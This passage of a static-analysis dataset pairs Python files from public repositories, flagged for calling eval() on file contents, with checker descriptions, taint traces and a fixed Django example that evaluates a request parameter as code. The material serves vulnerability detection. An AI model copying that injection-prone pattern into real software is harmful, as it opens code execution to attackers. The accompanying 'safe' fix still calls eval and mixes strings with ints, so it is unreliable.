enzian.wires.values():\n random.shuffle(w.constraints)\n time = timeit.timeit(lambda: enzian.parametrized_state_search({}, flags, 1), number = 3) / 3\n print(time)\n result_file.write(str(time) + \"\\n\")\n\ndef run_eval1_m3():\n enzian = Topology(enzian_nodes, enzian_wires)\n for (name, node_states, state_dict, number) in problems:\n result_file = open(\"results/eval1_m3_%s.csv\"%name, 'a')\n flags = State_Search_Flags(all_solutions=True)\n for i in range(500):\n print(i)\n enzian.current_node_state = node_states\n random.shuffle(enzian.sorted_wires)\n for w in enzian.wires.values():\n random.shuffle(w.constraints)\n time = timeit.timeit(lambda: enzian.parametrized_state_search(state_dict, flags, number), number = 3) / 3\n print(time)\n result_file.write(str(time) + \"\\n\")\n\ndef run_eval1_m4():\n enzian = Topology(enzian_nodes, enzian_wires)\n for (name, node_states, state_dict, number) in problems:\n result_file = open(\"results/eval1_m4_%s.csv\"%name, 'a')\n flags = State_Search_Flags(all_solutions=False)\n for i in range(500):\n print(i)\n enzian.current_node_state = node_states\n random.shuffle(enzian.sorted_wires)\n for w in enzian.wires.values():\n random.shuffle(w.constraints)\n time1 = timeit.timeit(lambda: enzian.parametrized_state_search({}, flags, 1), number = 3) / 3\n time2 = timeit.timeit(lambda: enzian.parametrized_state_search(state_dict, flags, 1), number = 3) / 3\n print(time1)\n print(time2)\n result_file.write(str(time1) + \",\" + str(time2) + \"\\n\")\n\n\ndef run_eval2():\n result_file = open(\"results/eval2.csv\", 'a', buffering=1)\n for (problem, initial, end) in transitions:\n time = 0\n #since consumer transitions update the virtual platform state (especially the initial consumer states), we must manually time it thrice\n for i in range(3):\n enzian = Topology(enzian_nodes, enzian_wires)\n enzian.current_node_state = copy.deepcopy(initial)\n time = timeit.timeit(lambda: enzian.stateful_node_update(end, flags = State_Search_Flags(all_solutions=False, visualize=False)), number = 1) + time\n print(initial)\n print(end)\n time = time / 3\n print(time)\n result_file.write(problem + \",\" + str(time) + \"\\n\")\n\ndef run_eval3():\n #Collect data, store sequence to commands.py and G1 to G19 (remove comments to perform)\n #############################################################\n \n enzian = Topology(enzian_nodes_EVAL3, enzian_wires)\n enzian.apply_changes({}, flags= State_Search_Flags(all_solutions = False))\n enzian.commands = enzian.commands + \"# code from here:\\n\"\n\n # writes event graphs to files G1 to G19:\n enzian.stateful_node_update({\"cpu\": \"POWERED_ON\", \"fpga\": \"POWERED_ON\"}, flags= State_Search_Flags(all_solutions=True, return_graph=True, prefer_concurrent_interleaving=False))\n enzian.done(\"results/eval3_sequence.py\") #writes command sequence to results/eval3_sequence.py -> must press Enter to continue the evaluation\n ##############################################################\n\n\n #Evaluate similarity of order as described in thesis: store results in file \"result_eval3.txt\":\n ##############################################################\n #G (event graph of manual solution was manually constructed and stored in manual_sequence_event_graph.txt)\n enzian = Topology(enzian_nodes, enzian_wires)\n graph_file = open(\"manual_sequence_event_graph.txt\", 'r')\n graph = eval(graph_file.read())\n graph_file.close()\n #assert that all conductors in G were spelled correctly (since they were manually typed)\n for (c, conductors) in graph.items():\n for w in conductors | {c}:\n name = w\n if w[:4] == \"set_\":\n name = w[4:]\n if not name in enzian.wires:\n print(\"%s not in wires\" % name)\n #assert that G is acyclic\n print(\"G is acyclic: %s\"% str(not topological_sort(graph) is None))\n\n result_file = open(\"results/eval3.txt\", 'w')\n\n #G1 is empty because of the call to apply_changes that put the platform into the appropriate state\n for i in range(1, 20):\n graph_file = open(\"results/eval3_G%s.txt\"%str(i), 'r')\n graph2 = eval(graph_file.read())\n graph_file.close()\n for (c, conductors) in graph.items():\n if c in graph2:\n graph2[c].union(conductors)\n else:\n graph2[c] = conductors\n string = \"Union of G%s and G is acyclic : %s\" %(str(i), str(not topological_sort(graph2) is None))\n print(string)\n result_file.write(string + \"\\n\")\n\n result_file.close()\n\nexperiments={\n \"e1m1\" : run_eval1_m1,\n \"e1m2\" : run_eval1_m2,\n \"e1m3\" : run_eval1_m3,\n \"e1m4\" : run_eval1_m4,\n \"e2\" : run_eval2,\n \"e3\" : run_eval3\n}\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Run evaluation, by default all experiments are run.\")\n parser.add_argument(\"--e1m1\", dest=\"experiments\", action=\"append_const\", const=\"e1m1\",\n help=\"Run measurement 1 of evaluation 1\"\n )\n parser.add_argument(\"--e1m2\", dest=\"experiments\", action=\"append_const\", const=\"e1m2\",\n help=\"Run measurement 2 of evaluation 1\"\n )\n parser.add_argument(\"--e1m3\", dest=\"experiments\", action=\"append_const\", const=\"e1m3\",\n help=\"Run measurement 3 of evaluation 1\"\n )\n parser.add_argument(\"--e1m4\", dest=\"experiments\", action=\"append_const\", const=\"e1m4\",\n help=\"Run measurement 4 of evaluation 1\"\n )\n parser.add_argument(\"--e2\", dest=\"experiments\", action=\"append_const\", const=\"e2\",\n help=\"Run evaluation 2\"\n )\n parser.add_argument(\"--e3\", dest=\"experiments\", action=\"append_const\", const=\"e3\",\n help=\"Run evaluation 2\"\n )\n\n args = parser.parse_args()\n if args.experiments is None:\n es = experiments.keys()\n else:\n es = args.experiments\n\n for e in es:\n experiments[e]()", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 134, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 135, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 135, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "097379bf501da504cbc7b18b85d27dc47e9f0813158d3bd82e55f26c86e32574", "license": {"spdx": ["Apache-2.0"], "repo": "gategill/elliot", "path": "elliot/utils/read.py", "repo_head_hexsha": "113763ba6d595976e14ead2e3d460d9705cd882e", "stack_hexsha": "b3af58f083b1707dd8c5557c8ab04196db2c3a61", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 47, "entireCode": "\"\"\"\nModule description:\n\n\"\"\"\n\n__version__ = '0.3.1'\n__author__ = ', '\n__email__ = ', '\n\nimport pandas as pd\nimport configparser\nimport pickle\nimport numpy as np\nimport os\nfrom types import SimpleNamespace\n\n\ndef read_csv(filename):\n \"\"\"\n Args:\n filename (str): csv file path\n Return:\n A pandas dataframe.\n \"\"\"\n df = pd.read_csv(filename, index_col=False)\n return df\n\n\ndef read_np(filename):\n \"\"\"\n Args:\n filename (str): filename of numpy to load\n Return:\n The loaded numpy.\n \"\"\"\n return np.load(filename)\n\n\ndef read_imagenet_classes_txt(filename):\n \"\"\"\n Args:\n filename (str): txt file path\n Return:\n A list with 1000 imagenet classes as strings.\n \"\"\"\n with open(filename) as f:\n idx2label = eval(f.read())\n\n return idx2label\n\n\ndef read_config(sections_fields):\n \"\"\"\n Args:\n sections_fields (list): list of fields to retrieve from configuration file\n Return:\n A list of configuration values.\n \"\"\"\n config = configparser.ConfigParser()\n config.read('./config/configs.ini')\n configs = []\n for s, f in sections_fields:\n configs.append(config[s][f])\n return configs\n\n\ndef read_multi_config():\n \"\"\"\n It reads a config file that contains the configuration parameters for the recommendation systems.\n\n Return:\n A list of configuration settings.\n \"\"\"\n config = configparser.ConfigParser()\n config.read('./config/multi.ini')\n configs = []\n for section in config.sections():\n single_config = SimpleNamespace()\n single_config.name = section\n for field, value in config.items(section):\n single_config.field = value\n configs.append(single_config)\n return configs\n\n\ndef load_obj(name):\n \"\"\"\n Load the pkl object by name\n :param name: name of file\n :return:\n \"\"\"\n with open(name, 'rb') as f:\n return pickle.load(f)\n\n\ndef find_checkpoint(dir, restore_epochs, epochs, rec, best=0):\n \"\"\"\n :param dir: directory of the model where we start from the reading.\n :param restore_epochs: epoch from which we start from.\n :param epochs: epochs from which we restore (0 means that we have best)\n :param rec: recommender model\n :param best: 0 No Best - 1 Search for the Best\n :return:\n \"\"\"\n if best:\n for r, d, f in os.walk(dir):\n for file in f:\n if 'best-weights-'.format(restore_epochs) in file:\n return dir + file.split('.')[0]\n return ''\n\n if rec == \"apr\" and restore_epochs < epochs:\n # We have to restore from an execution of bprmf\n dir_stored_models = os.walk('/'.join(dir.split('/')[:-2]))\n for dir_stored_model in dir_stored_models:\n if 'bprmf' in dir_stored_model[0]:\n dir = dir_stored_model[0] + '/'\n break\n\n for r, d, f in os.walk(dir):\n for file in f:\n if 'weights-{0}-'.format(restore_epochs) in file:\n return dir + file.split('.')[0]\n return ''", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 46, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 47, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "bda02fa7f7b87bb63b6d8e5dcad8640f073339308420845428f0f092d7637bd3", "license": {"spdx": ["MIT"], "repo": "RapidsAtHKUST/SimRank", "path": "python_experiments/paper_figures/tkde/data_legacy/eval_varying_eps_c_pcg.py", "repo_head_hexsha": "3a601b08f9a3c281e2b36b914e06aba3a3a36118", "stack_hexsha": "b336dfd4f06633eb05d75f4fdb5a06c0dcb65ff7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 5, "entireCode": "import json\n\nif __name__ == '__main__':\n with open('varying_eps_c.dicts') as ifs:\n pcg_varying_eps_cpu = eval(ifs.readline())\n pcg_varying_eps_mem = eval(ifs.readline())\n\n pcg_varying_c_cpu = eval(ifs.readline())\n pcg_varying_c_mem = eval(ifs.readline())\n\n pcg_tag = 'pcg'\n\n with open('pcg-varying-eps-cpu.json', 'w') as ofs:\n ofs.write(json.dumps({\n pcg_tag: {\n '0.6':\n pcg_varying_eps_cpu\n\n }\n }, indent=4))\n with open('pcg-varying-eps-mem.json', 'w') as ofs:\n ofs.write(json.dumps({\n pcg_tag: {\n '0.6':\n pcg_varying_eps_mem\n\n }\n }, indent=4))\n with open('pcg-varying-eps-cpu.json', 'w') as ofs:\n ofs.write(json.dumps({\n pcg_tag: {\n '0.6':\n pcg_varying_eps_cpu\n\n }\n }, indent=4))\n\n\n def combine(data: dict, extra):\n res = dict()\n for c, val in data.items():\n res[c] = {extra: val}\n return res\n\n\n with open('pcg-varying-c-cpu.json', 'w') as ofs:\n ofs.write(json.dumps({\n pcg_tag:\n combine(pcg_varying_c_cpu, '0.01')\n }, indent=4))\n with open('pcg-varying-c-mem.json', 'w') as ofs:\n ofs.write(json.dumps({\n pcg_tag:\n combine(pcg_varying_c_mem, '0.01')\n\n }, indent=4))", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 3, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "3"}}, {"lineNo": 4, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 5, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readline"}}, {"lineNo": 5, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "db218f1bf8920388e387087ce8e3fbaaeb69d431953edd0bacba27f9f3fed342", "license": {"spdx": ["MIT"], "repo": "SLAB-NLP/Akk", "path": "data/ratings/tezxt.py", "repo_head_hexsha": "baa07b0fdf8c7d8623fbd78508867c30a8a7ff6d", "stack_hexsha": "a6c7dfeaf23ecebc079761c27c16e7671b2bf8e6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 2, "entireCode": "with open(r\"D:\\Drive\\לימודים\\מאגרי מידע\\זמני\\ancient-text-processing\\jsons_unzipped\\saao\\saa01\\catalogue.json\",\"r\",encoding=\"utf_8\") as file:\n catalog = eval(file.read())[\"members\"]\n \nrulers = []\n\nfor c in catalog:\n cat = catalog[c]\n if cat[\"period\"] == \"Neo-Assyrian\" and cat.get(\"ruler\"):\n rulers += cat[\"ruler\"]", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 1, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 2, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 2, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "9c9b6b8970fd693bb0955f22a79304c32de062ecf9039f20a599e7f4943e4036", "license": {"spdx": ["MIT"], "repo": "initialfx/Maya-to-Houdini", "path": "rsLight_import.py", "repo_head_hexsha": "da65e92457e8e9ccd29e2274d05f8a2f1a25a4ea", "stack_hexsha": "17956a9071f8e0062971cb220228e927388d1e11", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 9, "entireCode": "import json\n\ndef filePath():\n \"\"\" ask for file path\"\"\"\n filepath = hou.ui.selectFile()\n return filepath\n\ndef getData(filename):\n return eval(open(filename).read(), {\"false\": False, \"true\":True})\n\ntemp_data = getData(filePath())\n\nfor i in range(len(temp_data)):\n #print(dict[i])\n \n data = temp_data[i]\n \n # Create Root Null\n sceneroot = hou.node('/obj')\n globalnull = sceneroot.createNode('null', 'size_locator')\n globalnull.setParms({'scale': 1})\n \n \n # Create RS_Light\n light = hou.node(\"/obj\").createNode('rslight', 'Key')\n \n light.setInput(0, globalnull)\n hou.node(\"obj\").layoutChildren()\n \n light.parmTuple('t').set(tuple(data[\"translate\"][0]))\n light.parmTuple('r').set(tuple(data[\"rotate\"][0]))\n \n light.parm('RSL_intensityMultiplier').set(data[\"intensity\"]) \n light.parm('Light1_exposure').set(data[\"exposure\"])\n \n light.parm('RSL_affectDiffuse').set(data[\"affectsDiffuse\"])\n light.parm('RSL_bidirectional').set(data[\"areaBidirectional\"])\n light.parm('RSL_visible').set(data[\"areaVisibleInRender\"])\n light.parm('RSL_volumeScale').set(data[\"volumeRayContributionScale\"])\n light.parm('RSL_areaShape').set(data[\"areaShape\"])\n \n light.setGenericFlag(hou.nodeFlag.DisplayComment, True)\n light.setComment(data[\"name\"])\n\n\n\n#attributes = ['scale', 'rotate', 'translate', 'intensity', 'color', 'affectsDiffuse', 'affectsSpecular','areaVisibleInRender', 'areaBidirectional', 'volumeRayContributionScale', \n# 'exposure', 'areaShape','spotConeAngle', 'areaSamples','areaSpread','on', 'colorR', 'colorG','colorB','temperature','colorMode', 'intensity', \n# 'exposure', 'unitsType','lumensperwatt','decayType','falloffStart', 'falloffStop', 'shadow', 'shadowTransparency', \n# 'SAMPLINGOVERRIDES_shadowSamplesScale','SAMPLINGOVERRIDES_numShadowSamples', 'spotConeFalloffAngle',\n# 'spotConeFalloffCurve','affectedByRefraction', 'emitGiPhotons', 'emitCausticPhotons','normalize',\n# 'photonIntensityMultiplierGI','photonIntensityMultiplierCaustics','diffuseRayContributionScale',\n# 'glossyRayContributionScale','singleScatteringRayContributionScale','multipleScatteringRayContributionScale',\n# 'indirectRayContributionScale', 'indirectMaxTraceDepth', 'volumeRayContributionScale','volumeNumSamples','dropoff'] \n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 9, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 9, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 9, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "6f6433e7e711f2ab24e649fff9a9d0060685fee0b3d04f072dcf035e27820d1a", "license": {"spdx": ["MIT"], "repo": "iitis/qcontrol_lstm_approx", "path": "lstm_as_approximation.py", "repo_head_hexsha": "0689df2cacc81c798a62bab5a1554e53fabceb89", "stack_hexsha": "ec0706de5d3b575cec3a54d77c2886ee5e833609", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 188, "entireCode": "import os\nfrom sys import argv, stdout\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"-1\"\nimport tensorflow as tf\nimport numpy as np\nimport scipy\nimport scipy.io\nfrom itertools import product as prod\nimport time\nfrom tensorflow.python.client import timeline\nimport cProfile\nfrom sys import argv, stdout\n\nfrom get_data import *\nimport pathlib\n\nfrom noise_models_and_integration import *\nfrom architecture import *\n\n\n# from experiments import noise_1_paramas as noise_params\n\ndef variation_acc2_local_disturb(sess,\n network,\n x_,\n keep_prob,\n saver,\n test_input,\n test_target,\n params):\n eps = 10 ** (-params.eps_order)\n\n # restoring saved model\n saver.restore(sess, \"weights/dim_{}/{}/gam_{}_alfa_{}.ckpt\".format(params.model_dim, params.noise_name, params.gamma, params.alpha))\n\n # initializoing resulting tensor, first two dimensions corresponds to coordinate which will be disturbed, on the last dimension, there will be added variation of outputs\n results = np.zeros((n_ts, controls_nb, len(np.array(test_input))))\n\n print(len(test_input))\n print(np.shape(results))\n iter = -1\n\n for sample_nb in range(len(np.array(test_input))):\n\n # taking sample NCP\n origin_NCP = test_input[sample_nb]\n # taking target superoperator corresponding to the NCP\n origin_superoperator = test_target[sample_nb]\n tf_result = False\n\n\n # calculating nnDCP corresponding to input NCP\n pred_DCP = get_prediction(sess, network, x_, keep_prob, np.reshape(origin_NCP, [1, params.n_ts, params.controls_nb]))\n # calculating superoperator from nnDCP\n sup_from_pred_DCP = integrate_lind(pred_DCP[0], tf_result, params)\n\n print(\"sanity check\")\n acceptable_error = fidelity_err([origin_superoperator, sup_from_pred_DCP], params.dim, tf_result)\n print(\"predicted DCP\", acceptable_error)\n print(\"---------------------------------\")\n\n ############################################################################################################\n #if sanity test is above assumed error then the experiment is performed\n if acceptable_error <= params.accept_err:\n iter += 1\n # iteration over all coordinates\n for (t, c) in prod(range(params.n_ts), range(params.controls_nb)):\n new_NCP = origin_NCP\n if new_NCP[t, c] < (1 - eps):\n new_NCP[t, c] += eps\n else:\n new_NCP[t, c] -= eps\n\n sup_from_new_NCP = integrate_lind(new_NCP, tf_result, params)\n new_DCP = get_prediction(sess, network, x_, keep_prob,\n np.reshape(new_NCP, [1, n_ts, controls_nb]))\n sup_form_new_DCP = integrate_lind(new_DCP[0], tf_result, params)\n error = fidelity_err([sup_from_new_NCP, sup_form_new_DCP], params.dim, tf_result)\n\n #print(error)\n # if predicted nnDCP gives wrong superopertaor, then we add not variation of output, but some label\n if error <= params.accept_err:\n results[t, c, iter] = np.linalg.norm(pred_DCP - new_DCP)\n else:\n results[t, c, iter] = -1\n\n print(iter)\n\n print(np.shape(results))\n return results\n\ndef experiment_loc_disturb(params):\n\n ###########################################\n # PLACEHOLDERS\n ###########################################\n # input placeholder\n x_ = tf.placeholder(tf.float32, [None, params.n_ts, params.controls_nb])\n # output placeholder\n y_ = tf.placeholder(tf.complex128, [None, params.supeop_size, params.supeop_size])\n # dropout placeholder\n keep_prob = tf.placeholder(tf.float32)\n\n # creating the graph\n network = my_lstm(x_, keep_prob, params)\n\n # instance for saving the model\n saver = tf.train.Saver()\n\n # loading the data\n (_, _, test_input, test_target) = get_data(params.train_set_size, params.test_set_size, params.model_dim)\n\n # maintaining the memory\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n with tf.Session(config=config) as sess:\n\n # essential function which executes the experiment\n result = variation_acc2_local_disturb(sess,\n network,\n x_,\n keep_prob,\n saver,\n test_input,\n test_target,\n params)\n\n sess.close()\n tf.reset_default_graph()\n return result\n\n\ndef train_and_predict(params, file_name):\n\n ###########################################\n # PLACEHOLDERS\n ###########################################\n # input placeholder\n x_ = tf.placeholder(tf.float32, [None, params.n_ts, params.controls_nb])\n # output placeholder\n y_ = tf.placeholder(tf.complex128, [None, params.supeop_size, params.supeop_size])\n # dropout placeholder\n keep_prob = tf.placeholder(tf.float32)\n\n # creating the graph\n network = my_lstm(x_, keep_prob, params)\n\n # instance for saving the model\n saver = tf.train.Saver()\n\n # loading the data\n (train_input, train_target, test_input, test_target) = get_data(params.train_set_size,\n params.test_set_size,\n params.model_dim,\n params.data_type)\n # maintaining the memory\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n with tf.Session(config=config) as sess:\n # training the network\n (acc,train_table,test_table) = fit(sess,\n network,\n x_,\n y_,\n keep_prob,\n train_input,\n train_target,\n test_input,\n test_target,\n params)\n\n # making prediction by trained model\n pred = get_prediction(sess, network, x_, keep_prob, test_input)\n # saving trained model\n saver.save(sess, \"weights/weights_from_{}.ckpt\".format(file_name))\n\n sess.close()\n tf.reset_default_graph()\n return (pred,acc,train_table,test_table)\n\n\n# ---------------------------------------------------------------------------\n\ndef main(testing_effectiveness,argv_number):\n config_path = \"configurations/\"\n file_name = 'config{}.txt'.format(argv_number)\n file = open(config_path+file_name, \"r\")\n parameters = dict_to_ntuple(eval(file.read()), \"parameters\")\n\n print(parameters.activ_fn)\n\n pathlib.Path(\"weights/dim_{}/{}\".format(parameters.model_dim, parameters.noise_name)).mkdir(parents=True, exist_ok=True)\n\n\n if testing_effectiveness:\n pathlib.Path(\"results/prediction/dim_{}\".format(parameters.model_dim)).mkdir(parents=True, exist_ok=True)\n # main functionality\n if os.path.isfile(\"results/eff_fid_lstm/experiment_{}\".format(file_name[0:-4])+\".npz\"):\n statistic = list(np.load(\"results/eff_fid_lstm/experiment_{}\".format(file_name[0:-4])+\".npz\")[\"arr_0\"][()])\n else:\n statistic = []\n\n for i in range(5):\n pred, acc, train_table, test_table = train_and_predict(parameters,file_name)\n\n\n # statistic.append(acc)\n statistic.append(pred)\n # save the results\n print(acc)\n\n # np.savez(\"results/eff_fid_lstm/experiment_{}\".format(file_name[0:-4]), statistic)\n np.savez(\"results/prediction/experiment_{}\".format(file_name[0:-4]), statistic)\n\n\n else:\n\n # main functionality\n data = experiment_loc_disturb(n_ts,\n gamma,\n alpha,\n evo_time,\n supeop_size,\n controls_nb,\n train_set_size,\n test_set_size,\n size_of_lrs,\n noise_name,\n model_dim,\n eps,\n accept_err)\n\n pathlib.Path(\"results/NN_as_approx/dim_{}\".format(model_dim)).mkdir(parents=True, exist_ok=True)\n np.savez(\"results/NN_as_approx/experiment_{}\".format(file_name[0:-4]), data)\n\n file.close()\n\n\nif __name__ == \"__main__\":\n\n # prepare dirs for the output files\n\n\n # Note: change the below value if you have already trained the network\n # train_model = True\n if len(argv) == 2:\n argv_number = int(argv[1])\n else:\n argv_number = 63\n main(True,argv_number )\n\n\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 187, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 188, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 188, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "1a5a218449256800e833008d5c932f144edfd9b3cb750ba51187781320b1ad06", "license": {"spdx": ["MIT"], "repo": "1blackghost/Fall_Management", "path": "main.py", "repo_head_hexsha": "ebd980c9866a873d681deca56e32e4a94ed64502", "stack_hexsha": "30838b215cd243be104eaed5f18458e8b036722f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", 